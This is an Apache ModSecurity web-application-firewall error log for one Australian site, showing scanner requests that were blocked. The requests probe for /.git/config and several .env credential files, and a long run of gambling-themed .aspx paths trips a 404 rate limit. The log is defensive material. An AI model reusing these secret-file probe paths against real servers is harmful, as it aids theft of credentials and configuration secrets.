[Sat May 02 23:29:08.314448 2026] [:error] [pid 51917:tid 51923] [client 43.153.123.3:43880] [client 43.153.123.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afYYRK7wZviJ7BgcCi9hRwAAAcQ"]
[Sun May 03 00:57:53.720356 2026] [:error] [pid 53434:tid 53451] [client 34.24.172.92:38018] [client 34.24.172.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afYtEe9BXmRQcbfsxlyyMgAAAAg"]
[Sun May 03 03:02:09.131687 2026] [:error] [pid 53434:tid 53456] [client 107.173.18.59:59588] [client 107.173.18.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "afZKMe9BXmRQcbfsxlzCqAAAAA0"]
[Sun May 03 03:02:09.131874 2026] [:error] [pid 52010:tid 52067] [client 107.173.18.59:59586] [client 107.173.18.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "afZKMQiR6wohDtdeJMB6JQAAAtg"]
[Sun May 03 03:02:09.133804 2026] [:error] [pid 53436:tid 53521] [client 107.173.18.59:59574] [client 107.173.18.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "afZKMa9N0xp8fccVM0D1igAAAJY"]
[Sun May 03 03:02:09.139599 2026] [:error] [pid 11894:tid 11898] [client 107.173.18.59:59604] [client 107.173.18.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "afZKMTHh6DQF1tkXIKwDaAAAAUE"]
[Sun May 03 03:02:09.142068 2026] [:error] [pid 53434:tid 53449] [client 107.173.18.59:59564] [client 107.173.18.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "afZKMe9BXmRQcbfsxlzCqgAAAAY"]
[Sun May 03 03:02:09.150861 2026] [:error] [pid 11894:tid 11907] [client 107.173.18.59:59540] [client 107.173.18.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "afZKMTHh6DQF1tkXIKwDagAAAUo"]
[Sun May 03 03:31:00.682559 2026] [:error] [pid 32527:tid 32634] [client 147.135.213.107:60054] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afZQ9CntHb-wyjvc19ftqgAAAEU"]
[Sun May 03 03:31:03.233811 2026] [:error] [pid 32527:tid 32646] [client 147.135.213.107:49240] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afZQ9yntHb-wyjvc19ftrwAAAFE"]
[Sun May 03 03:31:05.747385 2026] [:error] [pid 32531:tid 32680] [client 147.135.213.107:49256] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afZQ-dM27m6yrtstUHHIhQAAAJg"]
[Sun May 03 03:31:08.169195 2026] [:error] [pid 32526:tid 32622] [client 147.135.213.107:49268] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afZQ_HH_oS2UVPBjzimCpwAAABQ"]
[Sun May 03 03:31:10.756595 2026] [:error] [pid 32527:tid 32643] [client 147.135.213.107:49278] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afZQ_intHb-wyjvc19ftxQAAAE4"]
[Sun May 03 03:31:13.266290 2026] [:error] [pid 32713:tid 32728] [client 147.135.213.107:46632] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afZRAdMxQaX6pVoZbEfHdgAAAMw"]
[Sun May 03 03:31:15.718696 2026] [:error] [pid 32526:tid 32622] [client 147.135.213.107:46636] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afZRA3H_oS2UVPBjzimCtgAAABQ"]
[Sun May 03 03:31:18.371151 2026] [:error] [pid 32527:tid 32646] [client 147.135.213.107:46652] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afZRBintHb-wyjvc19ft1wAAAFE"]
[Sun May 03 03:31:20.696462 2026] [:error] [pid 32526:tid 32606] [client 147.135.213.107:46668] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afZRCHH_oS2UVPBjzimCwQAAAAQ"]
[Sun May 03 03:31:23.086652 2026] [:error] [pid 32531:tid 32656] [client 147.135.213.107:55732] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afZRC9M27m6yrtstUHHIuAAAAIA"]
[Sun May 03 03:31:25.534792 2026] [:error] [pid 32713:tid 32730] [client 147.135.213.107:55736] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afZRDdMxQaX6pVoZbEfHkAAAAM4"]
[Sun May 03 03:31:27.960676 2026] [:error] [pid 32713:tid 32724] [client 147.135.213.107:55752] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afZRD9MxQaX6pVoZbEfHlwAAAMg"]
[Sun May 03 03:31:30.569074 2026] [:error] [pid 32527:tid 32635] [client 147.135.213.107:55754] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afZREintHb-wyjvc19ft9QAAAEY"]
[Sun May 03 03:31:33.032247 2026] [:error] [pid 32526:tid 32625] [client 147.135.213.107:35382] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afZRFXH_oS2UVPBjzimCzAAAABc"]
[Sun May 03 03:31:35.698014 2026] [:error] [pid 32527:tid 32631] [client 147.135.213.107:35384] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afZRFyntHb-wyjvc19ft_AAAAEI"]
[Sun May 03 03:31:38.119841 2026] [:error] [pid 32531:tid 32671] [client 147.135.213.107:35386] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afZRGtM27m6yrtstUHHI6QAAAI8"]
[Sun May 03 03:31:40.664187 2026] [:error] [pid 32527:tid 32635] [client 147.135.213.107:35396] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afZRHCntHb-wyjvc19fuBQAAAEY"]
[Sun May 03 03:31:43.173020 2026] [:error] [pid 32531:tid 32667] [client 147.135.213.107:40688] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afZRH9M27m6yrtstUHHI9gAAAIs"]
[Sun May 03 03:31:45.549160 2026] [:error] [pid 32526:tid 32606] [client 147.135.213.107:40694] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afZRIXH_oS2UVPBjzimC5gAAAAQ"]
[Sun May 03 03:31:48.094332 2026] [:error] [pid 32531:tid 32680] [client 147.135.213.107:40708] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afZRJNM27m6yrtstUHHJCAAAAJg"]
[Sun May 03 03:31:50.604296 2026] [:error] [pid 32713:tid 32716] [client 147.135.213.107:40720] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afZRJtMxQaX6pVoZbEfH2AAAAMA"]
[Sun May 03 03:31:52.998043 2026] [:error] [pid 32713:tid 32717] [client 147.135.213.107:53828] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afZRKNMxQaX6pVoZbEfH4AAAAME"]
[Sun May 03 03:31:55.525418 2026] [:error] [pid 32713:tid 32739] [client 147.135.213.107:53844] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afZRK9MxQaX6pVoZbEfH9QAAANc"]
[Sun May 03 03:32:16.336408 2026] [:error] [pid 32713:tid 32736] [client 147.135.213.107:53846] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afZRQNMxQaX6pVoZbEfIXwAAANQ"]
[Sun May 03 03:32:18.817334 2026] [:error] [pid 32526:tid 32618] [client 147.135.213.107:58916] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afZRQnH_oS2UVPBjzimDGgAAABA"]
[Sun May 03 03:32:21.332117 2026] [:error] [pid 32527:tid 32637] [client 147.135.213.107:35784] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afZRRSntHb-wyjvc19fuMQAAAEg"]
[Sun May 03 03:32:23.829304 2026] [:error] [pid 32527:tid 32648] [client 147.135.213.107:35796] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afZRRyntHb-wyjvc19fuNQAAAFM"]
[Sun May 03 03:32:26.344081 2026] [:error] [pid 32713:tid 32734] [client 147.135.213.107:35812] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afZRStMxQaX6pVoZbEfIeQAAANI"]
[Sun May 03 03:32:28.895011 2026] [:error] [pid 32527:tid 32644] [client 147.135.213.107:35828] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afZRTCntHb-wyjvc19fuOwAAAE8"]
[Sun May 03 03:32:31.372586 2026] [:error] [pid 32713:tid 32723] [client 147.135.213.107:48736] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afZRT9MxQaX6pVoZbEfIhwAAAMc"]
[Sun May 03 03:32:33.876917 2026] [:error] [pid 32713:tid 32723] [client 147.135.213.107:48750] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afZRUdMxQaX6pVoZbEfIyAAAAMc"]
[Sun May 03 03:32:36.384571 2026] [:error] [pid 32713:tid 32729] [client 147.135.213.107:48754] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afZRVNMxQaX6pVoZbEfI3QAAAM0"]
[Sun May 03 03:32:38.915150 2026] [:error] [pid 32713:tid 32730] [client 147.135.213.107:48770] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afZRVtMxQaX6pVoZbEfI5gAAAM4"]
[Sun May 03 03:32:41.284974 2026] [:error] [pid 32531:tid 32677] [client 147.135.213.107:55084] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afZRWdM27m6yrtstUHHJeQAAAJU"]
[Sun May 03 03:32:43.611226 2026] [:error] [pid 32713:tid 32717] [client 147.135.213.107:55094] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afZRW9MxQaX6pVoZbEfI8QAAAME"]
[Sun May 03 03:32:46.136228 2026] [:error] [pid 32527:tid 32630] [client 147.135.213.107:55096] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afZRXintHb-wyjvc19fuXQAAAEE"]
[Sun May 03 03:32:48.657317 2026] [:error] [pid 32713:tid 32724] [client 147.135.213.107:55098] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afZRYNMxQaX6pVoZbEfJBAAAAMg"]
[Sun May 03 03:32:51.143371 2026] [:error] [pid 32527:tid 32633] [client 147.135.213.107:59728] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afZRYyntHb-wyjvc19fuZwAAAEQ"]
[Sun May 03 03:32:53.645529 2026] [:error] [pid 32526:tid 32619] [client 147.135.213.107:59738] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afZRZXH_oS2UVPBjzimDRQAAABE"]
[Sun May 03 03:32:56.167984 2026] [:error] [pid 32713:tid 32734] [client 147.135.213.107:59744] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afZRaNMxQaX6pVoZbEfJFgAAANI"]
[Sun May 03 03:32:58.655877 2026] [:error] [pid 32527:tid 32644] [client 147.135.213.107:59748] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afZRaintHb-wyjvc19fudAAAAE8"]
[Sun May 03 03:33:01.158063 2026] [:error] [pid 32526:tid 32608] [client 147.135.213.107:57494] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afZRbXH_oS2UVPBjzimDSgAAAAY"]
[Sun May 03 03:33:03.651422 2026] [:error] [pid 32713:tid 32717] [client 147.135.213.107:57506] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afZRb9MxQaX6pVoZbEfJLgAAAME"]
[Sun May 03 03:33:05.977022 2026] [:error] [pid 32527:tid 32645] [client 147.135.213.107:57518] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afZRcSntHb-wyjvc19fugQAAAFA"]
[Sun May 03 03:33:08.509823 2026] [:error] [pid 32713:tid 32719] [client 147.135.213.107:57522] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afZRdNMxQaX6pVoZbEfJQQAAAMM"]
[Sun May 03 03:33:10.986110 2026] [:error] [pid 32713:tid 32717] [client 147.135.213.107:57532] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afZRdtMxQaX6pVoZbEfJUwAAAME"]
[Sun May 03 03:33:13.305844 2026] [:error] [pid 32531:tid 32674] [client 147.135.213.107:60432] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afZRedM27m6yrtstUHHJvAAAAJI"]
